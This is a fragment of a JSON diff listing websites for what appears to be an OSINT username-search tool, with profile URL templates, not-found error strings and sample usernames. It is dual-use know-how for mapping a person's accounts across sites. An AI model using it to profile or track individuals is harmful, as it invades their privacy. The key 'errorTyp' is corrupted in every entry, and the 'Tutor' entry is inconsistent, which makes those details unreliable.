+ "usernameON": "Adam",
+ "bad_site": ""
+ },
+ "Tranzilla": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "По данному запросу ничего не найдено.",
+ "errorMsg2": ">
",
+ "errorMsg3": "Internal Server Error ",
+ "errorTyp��": "message",
+ "url": "https://tranzilla.ru/search/?request=&search_type=t",
+ "urlMain": "https://tranzilla.ru",
+ "usernameON": "irina",
+ "bad_site": 1
+ },
+ "Trashbox": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "div_text_error2",
+ "errorTyp��": "message",
+ "url": "https://trashbox.ru/users/{}",
+ "urlMain": "https://trashbox.ru/",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Travelblog": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://www.travelblog.org/Bloggers/{}",
+ "urlMain": "https://www.travelblog.org",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Travelfish": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Private or invalid",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.travelfish.org/member_popup.php?u={}",
+ "urlMain": "https://www.travelfish.org",
+ "usernameON": "YeMeansWater",
+ "bad_site": ""
+ },
+ "Travellerspoint": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://www.travellerspoint.com/users/{}/",
+ "urlMain": "https://www.travellerspoint.com",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Travis": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://travis-ci.community/u/{}/summary",
+ "urlMain": "https://travis-ci.community/",
+ "usernameON": "montana",
+ "bad_site": ""
+ },
+ "Trello": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "model not found",
+ "errorMsg2": "Trello Server Error ",
+ "errorTyp��": "message",
+ "url": "https://trello.com/{}",
+ "urlMain": "https://trello.com/",
+ "urlProbe": "https://trello.com/1/Members/{}",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Trictrac": {
+ "country": "🇫🇷",
+ "country_klas": "FR",
+ "errorTyp��": "status_code",
+ "url": "https://www.trictrac.net/mur/{}",
+ "urlMain": "https://www.trictrac.net",
+ "usernameON": "entelechie",
+ "bad_site": ""
+ },
+ "Trilife": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "К сожалению",
+ "errorMsg2": "",
+ "errorTyp��": "message",
+ "url": "https://trilife.ru/search/?q={}&sort=&entity=users&from=&to=",
+ "urlMain": "https://trilife.ru",
+ "usernameON": "irina",
+ "comments": "ZAK_user",
+ "bad_site": 1
+ },
+ "Trinixy": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://trinixy.ru/user/{}/",
+ "urlMain": "https://trinixy.ru",
+ "usernameON": "green",
+ "bad_site": ""
+ },
+ "TripAdvisor": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "(!cancel)",
+ "errorMsg2": "| Cloudflare",
+ "errorTyp��": "message",
+ "headers": {
+ "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3",
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
+ "DNT": "1",
+ "Priority": "u=1",
+ "Connection": "keep-alive",
+ "Sec-Fetch-Dest": "document",
+ "Sec-Fetch-Mode": "navigate",
+ "Sec-Fetch-Site": "none",
+ "Sec-Fetch-User": "?1",
+ "Sec-GPC": "1",
+ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0"
+ },
+ "url": "https://www.tripadvisor.com/Profile/{}",
+ "urlMain": "https://www.tripadvisor.com",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Tripline": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://www.tripline.net/{}",
+ "urlMain": "https://www.tripline.net",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Tripoto": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://www.tripoto.com/profile/{}",
+ "urlMain": "https://www.tripoto.com",
+ "usernameON": "kapilpandit",
+ "bad_site": ""
+ },
+ "Tripster": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://tripster.ru/{}/",
+ "urlMain": "https://tripster.ru",
+ "usernameON": "adam",
+ "comments": "ZAK_user",
+ "bad_site": 1
+ },
+ "Trisquel": {
+ "country": "🇪🇺",
+ "country_klas": "EU",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://trisquel.info/it/users/{}",
+ "urlMain": "https://trisquel.info",
+ "usernameON": "redfox",
+ "bad_site": ""
+ },
+ "Trp_red": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "exclusion": "\\W[а-яА-Я]",
+ "errorTyp��": "status_code",
+ "url": "https://www.trp.red/follow/{}",
+ "urlMain": "https://www.trp.red",
+ "usernameON": "AlwaysStoic",
+ "bad_site": ""
+ },
+ "Truckersmp": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://truckersmp.ru/{}",
+ "urlMain": "https://truckersmp.ru",
+ "usernameON": "RamanBY",
+ "bad_site": ""
+ },
+ "Trueachievements": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://www.trueachievements.com/gamer/{}",
+ "urlMain": "https://www.trueachievements.com",
+ "usernameON": "metallicafan459",
+ "bad_site": ""
+ },
+ "Truelancer": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "This page could not be found.",
+ "errorMsg2": "404",
+ "errorTyp��": "message",
+ "url": "https://www.truelancer.com/freelancer/{}",
+ "urlMain": "https://www.truelancer.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Truesteamachievements": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorTyp��": "status_code",
+ "url": "https://truesteamachievements.com/gamer/{}",
+ "urlMain": "https://truesteamachievements.com",
+ "usernameON": "adam",
+ "comments": "cf",
+ "bad_site": ""
+ },
+ "Truthbook": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No suitable matches were found.",
+ "errorMsg2": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://forum.truthbook.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&submit=Search",
+ "urlMain": "https://truthbook.com",
+ "usernameON": "fanofVan",
+ "bad_site": ""
+ },
+ "Truthpodium": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "response_url",
+ "url": "https://truthpodium.org/@{}",
+ "urlMain": "https://truthpodium.org",
+ "usernameON": "Bubba8613",
+ "bad_site": ""
+ },
+ "Trworkshop": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Информация",
+ "errorMsg2": "Подходящих тем или сообщений не найдено.",
+ "errorTyp��": "message",
+ "url": "http://www.trworkshop.net/forum/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://www.trworkshop.net",
+ "usernameON": "eric",
+ "bad_site": ""
+ },
+ "Ttrails": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "К сожалению, пользователь не найден",
+ "errorMsg2": "Тропинки.ру ",
+ "errorTyp��": "message",
+ "url": "https://ttrails.ru/users/{}",
+ "urlMain": "https://ttrails.ru",
+ "usernameON": "danika983",
+ "bad_site": ""
+ },
+ "Ttsport": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация ",
+ "errorTyp��": "message",
+ "url": "https://www.ttsport.ru/forum/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://www.ttsport.ru",
+ "usernameON": "Roos",
+ "comments": "bad",
+ "bad_site": ""
+ },
+ "Tula": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "http://tula.net.ru/user/{}/",
+ "urlMain": "http://tula.net.ru",
+ "usernameON": "evgenij",
+ "bad_site": 1
+ },
+ "Tulup": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Нет записей, удовлетворяющих условиям запроса",
+ "errorMsg2": "",
+ "errorTyp��": "message",
+ "url": "https://www.tulup.ru/noindex/userlist.php?search={}",
+ "urlMain": "https://www.tulup.ru",
+ "usernameON": "Murchik",
+ "bad_site": ""
+ },
+ "Tumblr": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "exclusion": "\\W|[а-яА-Я]",
+ "errorTyp��": "status_code",
+ "url": "https://{}.tumblr.com/",
+ "urlMain": "https://tumblr.com/",
+ "usernameON": "red",
+ "comments": "cf",
+ "bad_site": ""
+ },
+ "Tunefind": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "false,\"err\":{\"name",
+ "errorMsg2": "Tunefind ",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://www.tunefind.com/user/profile/{}",
+ "urlMain": "https://www.tunefind.com",
+ "usernameON": "adam",
+ "comments": "super",
+ "bad_site": ""
+ },
+ "Turbina": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "response_url",
+ "url": "https://turbinatravels.com/authors/{}/",
+ "urlMain": "https://turbina.ru",
+ "usernameON": "maklai",
+ "comments": "bad",
+ "bad_site": ""
+ },
+ "Turkey-info": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Не найдено ни одного пользователя по заданным критериям",
+ "errorMsg2": "Пользователей: 0",
+ "errorTyp��": "message",
+ "url": "https://turkey-info.ru/forum/memberlist.php?username={}",
+ "urlMain": "https://turkey-info.ru",
+ "usernameON": "orduzulu",
+ "bad_site": ""
+ },
+ "Turpravda": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "",
+ "errorMsg2": "Страница не найдена",
+ "errorTyp��": "message",
+ "url": "https://www.turpravda.ua/profile/{}/",
+ "urlMain": "https://www.turpravda.ua",
+ "usernameON": "iryna83",
+ "bad_site": ""
+ },
+ "Tutor": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "К сожалению, введенный вами адрес недоступен",
+ "errorMsg2": "dtk-front-nuxt Profile Not Found",
+ "errorMsg2": "We couldn't find a profile for username:",
+ "errorTyp��": "message",
+ "url": "https://data.typeracer.com/pit/profile?user={}",
+ "urlMain": "https://data.typeracer.com/",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Uanime": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Тем або повідомлень",
+ "errorMsg2": "Інформація",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://uanime.org.ua/forum/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://uanime.org.ua",
+ "usernameON": "Antigonius",
+ "comments": "old",
+ "bad_site": 1
+ },
+ "Uaodessa": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "url": "https://uaodessa.com/index/8-0-{}",
+ "urlMain": "https://uaodessa.com",
+ "usernameON": "Trentonbouri",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Uazpatriot": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация",
+ "errorTyp��": "message",
+ "url": "https://uazpatriot.ru/forum/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://uazpatriot.ru",
+ "usernameON": "irina",
+ "bad_site": ""
+ },
+ "Ubisoft_CLOSEDEAD": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://discussions.ubisoft.com/user/{}?lang=en-US",
+ "urlMain": "https://discussions.ubisoft.com",
+ "usernameON": "mrdarrek",
+ "bad_site": 1
+ },
+ "Uchportal": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://www.uchportal.ru/index/8-0-{}",
+ "urlMain": "https://www.uchportal.ru",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Udemy": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "response_url",
+ "url": "https://www.udemy.com/user/{}/",
+ "urlMain": "https://www.udemy.com",
+ "usernameON": "adammortimer",
+ "bad_site": ""
+ },
+ "Ufocomm": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Найдено: 0 результатов",
+ "errorMsg2": "одожд",
+ "errorTyp��": "message",
+ "url": "https://www.ufocomm.ru/search/?&q={}&type=core_members",
+ "urlMain": "https://www.ufocomm.ru",
+ "usernameON": "vik",
+ "bad_site": ""
+ },
+ "Uforum": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "content=\"noindex,follow",
+ "errorTyp��": "message",
+ "url": "https://uforum.uz/member.php?username={}",
+ "urlMain": "https://uforum.uz",
+ "usernameON": "Constantin",
+ "bad_site": ""
+ },
+ "Uft": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://uft.me/persons/{}",
+ "urlMain": "https://uft.me",
+ "usernameON": "darkelectro",
+ "comments": "old",
+ "bad_site": 1
+ },
+ "Ukraine-footbal": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Користувача не знайдено",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "User not found",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://ukraine-footbal.at.ua/index/8-0-{}",
+ "urlMain": "https://ukraine-footbal.at.ua",
+ "usernameON": "pavelsamoylov2022",
+ "bad_site": ""
+ },
+ "Ultimate-Guitar": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://ultimate-guitar.com/u/{}",
+ "urlMain": "https://ultimate-guitar.com/",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Universemc": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://universemc.us/members/?username={}",
+ "urlMain": "https://universemc.us",
+ "usernameON": "sinnfein",
+ "comments": "RUblock",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Unixforum": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "unixforum.org - Информация ",
+ "errorTyp��": "message",
+ "url": "https://unixforum.org/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://unixforum.org",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Unsorted": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Извините, такого пользователя не существует",
+ "errorMsg2": "unsorted ~ ",
+ "errorTyp��": "message",
+ "url": "https://unsorted.me/profile.php?mode=viewprofile&u={}",
+ "urlMain": "https://unsorted.me",
+ "usernameON": "DALDON",
+ "bad_site": ""
+ },
+ "Unsplash": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://unsplash.com/@{}/likes",
+ "urlMain": "https://unsplash.com/",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Untappd": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://untappd.com/user/{}",
+ "urlMain": "https://untappd.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Uphillathlete": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://uphillathlete.com/forums/users/{}/",
+ "urlMain": "https://uphillathlete.com",
+ "usernameON": "yamabu",
+ "bad_site": ""
+ },
+ "Uralfishing": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "nowrap=\"nowrap\"> 0 ",
+ "errorMsg3": "Виктор Николаевич",
+ "errorTyp��": "message",
+ "url": "https://www.uralfishing.ru/forum/profile.php?mode=viewprofile&u={}",
+ "urlMain": "https://www.uralfishing.ru",
+ "usernameON": "Mephisto",
+ "bad_site": ""
+ },
+ "Uralrock": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "content=\"noindex,follow",
+ "errorTyp��": "message",
+ "url": "https://uralrock.ru/forum/member.php?username={}",
+ "urlMain": "https://uralrock.ru",
+ "usernameON": "Cyxapb",
+ "comments": "RUblock",
+ "bad_site": ""
+ },
+ "Urlebird": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://urlebird.com/user/{}/",
+ "urlMain": "https://urlebird.com",
+ "usernameON": "chikamaria4",
+ "comments": "zamedlenie",
+ "bad_site": ""
+ },
+ "USA_life": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "response_url",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://usa.life/{}",
+ "urlMain": "https://usa.life",
+ "usernameON": "RinDavis",
+ "bad_site": ""
+ },
+ "Users_ucrazy": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://ucrazy.org/u/{}/",
+ "urlMain": "https://ucrazy.org",
+ "usernameON": "aptoc",
+ "bad_site": ""
+ },
+ "Usersoft_ucoz": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://usersoft.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://usersoft.ucoz.ru",
+ "usernameON": "SRabdrashirup",
+ "bad_site": ""
+ },
+ "Uvelir": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://uvelir.net/member.php?username={}",
+ "urlMain": "https://uvelir.net/",
+ "usernameON": "red",
+ "comments": "Oplata",
+ "bad_site": ""
+ },
+ "Uwr1": {
+ "country": "🇩🇪",
+ "country_klas": "DE",
+ "errorTyp��": "status_code",
+ "url": "http://uwr1.de/forum/profile/{}",
+ "urlMain": "http://uwr1.de",
+ "usernameON": "adam",
+ "comments": "bad",
+ "bad_site": ""
+ },
+ "Uzhforum": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Користувач не зареєстрований і не має профілю, який можна переглянути.",
+ "errorMsg2": "content=\"noindex,follow",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://www.uzhforum.com/member.php?username={}",
+ "urlMain": "http://www.uzhforum.com",
+ "usernameON": "kirpicik",
+ "comments": "old",
+ "bad_site": 1
+ },
+ "Valday": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Личные данные пользователя ",
+ "errorMsg2": "gen\"> ",
+ "errorMsg3": "UnMask",
+ "errorTyp��": "message",
+ "url": "https://valday.com/forum/profile.php?mode=viewprofile&u={}",
+ "urlMain": "https://valday.com",
+ "usernameON": "Azs",
+ "bad_site": ""
+ },
+ "Vamber": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://vamber.ru/author/{}/",
+ "urlMain": "https://vamber.ru",
+ "usernameON": "irina",
+ "bad_site": ""
+ },
+ "Vampirerave": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.vampirerave.com/profiles/profiles2.php?profile={}",
+ "urlMain": "https://www.vampirerave.com",
+ "usernameON": "EternalXRage",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Vas3k": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://vas3k.club/user/{}/",
+ "urlMain": "https://vas3k.club",
+ "usernameON": "zahhar",
+ "bad_site": ""
+ },
+ "VC": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "message\":\"\",\"result\":{\"items\":[],\"lastId\":null",
+ "errorMsg2": "lastSortingValue\":0,\"total\":0",
+ "errorTyp��": "message",
+ "url": "https://vc.ru/discovery?q={}",
+ "urlMain": "https://vc.ru",
+ "urlProbe": "https://api.vc.ru/v2.51/search/subsites?q={}&type=1&page=0",
+ "usernameON": "yuliya",
+ "headers": {
+ "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3",
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
+ "DNT": "1",
+ "Priority": "u=1",
+ "Connection": "keep-alive",
+ "Sec-Fetch-Dest": "document",
+ "Sec-Fetch-Mode": "navigate",
+ "Sec-Fetch-Site": "none",
+ "Sec-Fetch-User": "?1",
+ "Sec-GPC": "1",
+ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0"
+ },
+ "bad_site": ""
+ },
+ "Vegascreativesoftware": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Whatever you're looking for.",
+ "errorMsg2": "VEGAS Community | vegascreativesoftware.info",
+ "errorTyp��": "message",
+ "url": "https://www.vegascreativesoftware.info/us/users/profile/{}/",
+ "urlMain": "https://www.vegascreativesoftware.info",
+ "usernameON": "adam",
+ "comments": "ZAK_user",
+ "bad_site": 1
+ },
+ "Velocat": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих сообщений не найдено",
+ "errorMsg2": "ВЕЛОСАЙТ - Информация ",
+ "errorTyp��": "message",
+ "url": "https://velocat.ru/velo/phpBB3/search.php?keywords={}&type=type-special",
+ "urlMain": "https://velocat.ru",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Velomania": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://forum.velomania.ru/member.php?username={}",
+ "urlMain": "https://forum.velomania.ru/",
+ "usernameON": "red",
+ "bad_site": ""
+ },
+ "Velosamara": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Не найдено ни одного пользователя по заданным критериям",
+ "errorMsg2": "0 пользователей",
+ "errorTyp��": "message",
+ "url": "http://velosamara.ru/forum/memberlist.php?username={}",
+ "urlMain": "http://velosamara.ru",
+ "usernameON": "Morbo",
+ "bad_site": ""
+ },
+ "Venera": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "0 результатов",
+ "errorMsg2": "Результатов поиска нет",
+ "errorTyp��": "message",
+ "url": "https://venera.one/search/?q={}&type=core_members",
+ "urlMain": "https://venera.one",
+ "usernameON": "adam",
+ "comments": "old",
+ "bad_site": 1
+ },
+ "Venmo": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://venmo.com/{}",
+ "urlMain": "https://venmo.com/",
+ "usernameON": "jenny",
+ "comments": "RUblock",
+ "bad_site": ""
+ },
+ "Vero": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Error Page - VERO™ – True Social ",
+ "errorMsg2": "class=\"_not-found-page",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://vero.co/{}",
+ "urlMain": "https://vero.co",
+ "usernameON": "lilyherbertson",
+ "bad_site": ""
+ },
+ "Vezha": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://vezha.com/members/?username={}",
+ "urlMain": "https://vezha.com/",
+ "usernameON": "red",
+ "bad_site": ""
+ },
+ "Vgtimes": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "не найден",
+ "errorMsg2": "Сайт сейчас",
+ "errorMsg3": "
",
+ "errorTyp��": "message",
+ "url": "https://vgtimes.ru/user/{}/",
+ "urlMain": "https://vgtimes.ru",
+ "comments": "cf",
+ "usernameON": "Raumkua",
+ "bad_site": ""
+ },
+ "Vidamora": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Meet , in",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.vidamora.com/profile/{}",
+ "urlMain": "https://www.vidamora.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Video_ploud": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://video.ploud.jp/accounts/{}/video-channels",
+ "urlMain": "https://video.ploud.jp",
+ "usernameON": "lwflouisa",
+ "bad_site": ""
+ },
+ "Videoforums": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "content=\"noindex,follow",
+ "errorTyp��": "message",
+ "url": "http://videoforums.ru/member.php?username={}",
+ "urlMain": "http://videoforums.ru",
+ "usernameON": "carlo",
+ "bad_site": ""
+ },
+ "Videogamegeek": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Profile | VideoGameGeek ",
+ "errorMsg2": "Error: User does not exist.",
+ "errorMsg3": "not found",
+ "errorTyp��": "message",
+ "url": "https://videogamegeek.com/user/{}",
+ "urlMain": "https://videogamegeek.com",
+ "usernameON": "adam",
+ "bad_site": 1
+ },
+ "Videohive": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://videohive.net/user/{}",
+ "urlMain": "https://videohive.net",
+ "usernameON": "zedbadley",
+ "bad_site": ""
+ },
+ "Videosift": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorMsg": "You Seem Lost",
+ "errorMsg2": "Not Found",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://videosift.com/member/{}",
+ "urlMain": "https://videosift.com",
+ "usernameON": "adam",
+ "comments": "cf",
+ "bad_site": 1
+ },
+ "Vimeo": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "exclusion": "[а-яА-Я]",
+ "errorTyp��": "status_code",
+ "url": "https://vimeo.com/{}",
+ "urlMain": "https://vimeo.com/",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Virgool": {
+ "country": "🇮🇷",
+ "country_klas": "IR",
+ "errorMsg": "۴۰۴",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://virgool.io/@{}",
+ "urlMain": "https://virgool.io/",
+ "usernameON": "blue",
+ "comments": "cf",
+ "bad_site": 1
+ },
+ "Virtualireland": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "VirtualIreland.ru - Виртуальная Ирландия ",
+ "errorTyp��": "message",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://www.virtualireland.ru/member.php?username={}",
+ "urlMain": "https://www.virtualireland.ru",
+ "usernameON": "Lee",
+ "bad_site": ""
+ },
+ "Vishivalochka": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://vishivalochka.ru/index/8-0-{}",
+ "urlMain": "http://vishivalochka.ru",
+ "usernameON": "Caliopa",
+ "comments": "Oplata",
+ "bad_site": ""
+ },
+ "Vivino": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://www.vivino.com/users/{}",
+ "urlMain": "https://www.vivino.com/",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "VK": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "response_url",
+ "url": "https://vk.com/{}",
+ "urlMain": "https://vk.com/",
+ "usernameON": "smith",
+ "bad_site": ""
+ },
+ "Vkaline": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "content=\"noindex,follow",
+ "errorTyp��": "message",
+ "url": "http://www.vkaline.ru/forum/member.php?username={}",
+ "urlMain": "http://www.vkaline.ru",
+ "usernameON": "Varelik",
+ "comments": "old",
+ "bad_site": 1
+ },
+ "Vkrugudrusey": {
+ "country": "🇷🇺",
